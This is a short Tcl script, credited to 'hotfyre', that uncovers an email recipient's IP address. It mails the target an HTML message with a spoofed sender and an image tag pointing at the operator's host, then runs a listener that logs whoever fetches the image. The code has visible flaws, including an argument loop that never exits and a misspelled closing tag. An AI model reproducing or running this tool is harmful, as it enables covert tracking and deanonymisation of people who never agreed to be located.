#!/usr/bin/tcl
#getipbymail.tcl by hotfyre <hotfyre@projet7.org> <http://www.projet7.org>
#Thanks to climax for testing
#only works with html capable mail readers (outlook, netscape messenger, ...)

set n_args 0
set verbose 0
set target_mail root@localhost
set src_ip 127.0.0.1
set src_port 2002
while {1} {
    if {[string equal [lindex $argv $n_args] ""] && $n_args < 2 } {
puts "Usage : $argv0 \[-v\] -a target@adress.com -i myip \[-p myport\]"
exit
}

if {[lindex $argv $n_args] == "-v"} {
set verbose 1
incr n_args
}
if {[lindex $argv $n_args] == "-a"} {
incr n_args
set target_mail [lindex $argv $n_args]
incr n_args
}
if {[lindex $argv $n_args] == "-i"} {
incr n_args
set src_ip [lindex $argv $n_args]
incr n_args
}
if {[lindex $argv $n_args] == "-p"} {
incr n_args
set src_port [lindex $argv $n_args]
incr n_args
}
if {[lindex $argv $n_args] == "-h"} {
puts "Usage : $argv0 \[-v\] -a target@adress.com -i myip \[-p myport\]"
exit
}
}




proc send_mail {ip port mail} {
exec echo "Content-Type: text/html; <html> <body> <IMG SRC=http://$ip:$port/$mail> </body> </hmtl>" | sendmail -f$mail -Ffoobar $mail 
}


proc Connection {s a p} {
global verbose
if {$verbose} {
    puts "Got connexion from $a:$p"
}

	global ip
	 set ip $a
    fconfigure $s -blocking 1 
    fileevent $s readable "Infos $s"
}

proc Infos {s} {
global verbose
global mail
gets $s line

if {$verbose} {
    puts $line
}

if {[lindex $line 0]=="GET"} {
if {$verbose} {
puts "Got it.."
}
set mail [lindex $line 1]
}
    if {[string equal $line ""]} {
		close $s
	global ip
	puts $ip$mail
}

}

send_mail $src_ip $src_port $target_mail
socket -server Connection $src_port
vwait 0



